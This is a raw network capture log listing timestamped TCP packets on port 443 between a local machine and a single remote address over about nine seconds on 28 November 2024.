Nov 28, 2024 13:10:28.418021917 CET	443	49881	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.418353081 CET	49881	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.419342041 CET	49881	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.419353962 CET	443	49881	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.419367075 CET	49881	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.419373035 CET	443	49881	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.423804998 CET	49883	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.423834085 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.423937082 CET	49883	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.426574945 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.426649094 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.426757097 CET	49877	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.430699110 CET	49883	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.430710077 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.431576967 CET	49877	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.431592941 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.431605101 CET	49877	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.431610107 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.434124947 CET	49884	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.434153080 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.434401989 CET	49884	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.434570074 CET	49884	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.434585094 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.496134996 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.496134996 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.496212006 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.496212006 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.496370077 CET	49878	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.496371984 CET	49880	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.496440887 CET	49880	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.496455908 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.496465921 CET	49880	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.496471882 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.497561932 CET	49878	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.497575998 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.497591019 CET	49878	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.497596979 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.499862909 CET	49885	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.499898911 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.499975920 CET	49885	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.500372887 CET	49885	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.500395060 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.501065016 CET	49886	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.501076937 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.501141071 CET	49886	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.501236916 CET	49886	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.501249075 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.518630028 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.518742085 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.518918037 CET	49879	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.520586967 CET	49879	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.520612001 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.520627022 CET	49879	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.520632982 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.524452925 CET	49887	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.524466991 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.524530888 CET	49887	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.524880886 CET	49887	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.524894953 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.213368893 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.216136932 CET	49883	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.216161013 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.216718912 CET	49883	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.216726065 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.281796932 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.282375097 CET	49885	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.282403946 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.282906055 CET	49885	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.282912970 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.285907984 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.286201954 CET	49884	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.286223888 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.286562920 CET	49884	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.286569118 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.348387957 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.356034040 CET	49886	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.356050014 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.356580019 CET	49886	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.356585026 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.377305984 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.378175020 CET	49887	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.378190994 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.378685951 CET	49887	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.378690958 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.657897949 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.657968044 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.658210993 CET	49883	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.658485889 CET	49883	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.658499002 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.658509970 CET	49883	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.658515930 CET	443	49883	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.661628008 CET	49889	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.661664009 CET	443	49889	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.661760092 CET	49889	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.661962032 CET	49889	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.661976099 CET	443	49889	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.726305008 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.726373911 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.726660967 CET	49885	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.726694107 CET	49885	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.726707935 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.726720095 CET	49885	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.726725101 CET	443	49885	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.729850054 CET	49890	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.729872942 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.729985952 CET	49890	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.730102062 CET	49890	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.730115891 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.739768982 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.739840984 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.740015030 CET	49884	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.740047932 CET	49884	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.740061998 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.740072966 CET	49884	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.740077972 CET	443	49884	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.742989063 CET	49891	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.743016958 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.743086100 CET	49891	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.743376017 CET	49891	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.743388891 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.801683903 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.801764011 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.801839113 CET	49886	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.802021027 CET	49886	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.802030087 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.802040100 CET	49886	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.802045107 CET	443	49886	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.804992914 CET	49892	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.805041075 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.805197954 CET	49892	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.805394888 CET	49892	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.805412054 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.831613064 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.831687927 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.832000971 CET	49887	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.832520962 CET	49887	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.832528114 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.832539082 CET	49887	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.832542896 CET	443	49887	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.836359978 CET	49893	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.836397886 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:30.836460114 CET	49893	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.836623907 CET	49893	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:30.836636066 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.444489956 CET	443	49889	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.445211887 CET	49889	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.445235968 CET	443	49889	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.445760012 CET	49889	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.445765018 CET	443	49889	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.464427948 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.465198040 CET	49891	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.465215921 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.465668917 CET	49891	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.465675116 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.519823074 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.521644115 CET	49890	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.521668911 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.522146940 CET	49890	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.522152901 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.527570009 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.529608965 CET	49892	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.529637098 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.530039072 CET	49892	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.530045986 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.558753014 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.561562061 CET	49893	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.561589003 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.562086105 CET	49893	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.562092066 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.890587091 CET	443	49889	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.890676022 CET	443	49889	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.890850067 CET	49889	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.891051054 CET	49889	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.891067028 CET	443	49889	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.896310091 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.896368980 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.896446943 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.898874998 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.898891926 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.903574944 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.903655052 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.903738022 CET	49891	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.904266119 CET	49891	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.904285908 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.904299021 CET	49891	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.904304028 CET	443	49891	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.915081978 CET	49897	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.915136099 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.915648937 CET	49897	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.915983915 CET	49897	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.916002035 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.963229895 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.963300943 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.963382959 CET	49892	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.963629007 CET	49892	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.963646889 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.963660002 CET	49892	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.963665962 CET	443	49892	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.964384079 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.964468956 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.965833902 CET	49890	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.966172934 CET	49890	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.966172934 CET	49890	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.966190100 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.966207027 CET	443	49890	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.967320919 CET	49898	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.967339993 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.967406034 CET	49898	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.968156099 CET	49898	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.968169928 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.968815088 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.968847990 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.971087933 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.971235991 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.971250057 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.995676041 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.995822906 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.995929956 CET	49893	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.996141911 CET	49893	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.996162891 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.996176004 CET	49893	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.996184111 CET	443	49893	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.998974085 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.999003887 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:32.999079943 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.999243975 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:32.999258041 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.870019913 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.870292902 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.870687008 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.871109962 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.871761084 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:34.871777058 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.872059107 CET	49898	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:34.872091055 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.872478962 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:34.872486115 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.872688055 CET	49898	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:34.872694969 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.872868061 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:34.872883081 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.873114109 CET	49897	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:34.873131037 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.873265028 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:34.873270988 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:34.873574972 CET	49897	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:34.873580933 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.318233967 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.318321943 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.318420887 CET	49898	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.318685055 CET	49898	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.318706036 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.318717957 CET	49898	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.318725109 CET	443	49898	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.321760893 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.321785927 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.321834087 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.321885109 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.321927071 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.321969032 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.322000027 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.322053909 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.322143078 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.322154999 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.322166920 CET	49899	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.322173119 CET	443	49899	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.323159933 CET	49902	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.323185921 CET	443	49902	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.324352980 CET	49903	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.324379921 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.324455976 CET	49903	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.324564934 CET	49903	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.324579954 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.326055050 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.326073885 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.326121092 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.326123953 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.326158047 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.326296091 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.326302052 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.326330900 CET	49896	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.326334953 CET	443	49896	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.328202009 CET	49904	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.328217983 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.328279972 CET	49904	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.328393936 CET	49904	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.328408003 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.329684973 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.329765081 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.329824924 CET	49897	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.330192089 CET	49897	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.330200911 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.330213070 CET	49897	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.330218077 CET	443	49897	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.332235098 CET	49905	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.332252979 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:35.332325935 CET	49905	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.332480907 CET	49905	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:35.332494020 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.042005062 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.044687986 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.045186043 CET	49903	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.045207024 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.045792103 CET	49903	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.045798063 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.046060085 CET	49904	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.046087027 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.046478987 CET	49904	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.046483994 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.052824020 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.053437948 CET	49905	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.053468943 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.053854942 CET	49905	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.053859949 CET	443	49905	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.399305105 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.402690887 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.402719975 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.403383970 CET	49900	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.403388977 CET	443	49900	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.477905989 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.479665041 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.481168985 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.481228113 CET	49903	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.481281996 CET	49903	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.481288910 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.481302023 CET	49903	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.481306076 CET	443	49903	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.483196974 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.484375000 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.484394073 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.484405041 CET	49904	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.484471083 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.484503031 CET	49904	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.484515905 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.484529972 CET	49904	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.484535933 CET	443	49904	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.484669924 CET	49908	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.484679937 CET	443	49908	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:37.487684965 CET	49909	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:37.487706900 CET	443	49909	13.107.246.63	192.168.2.4
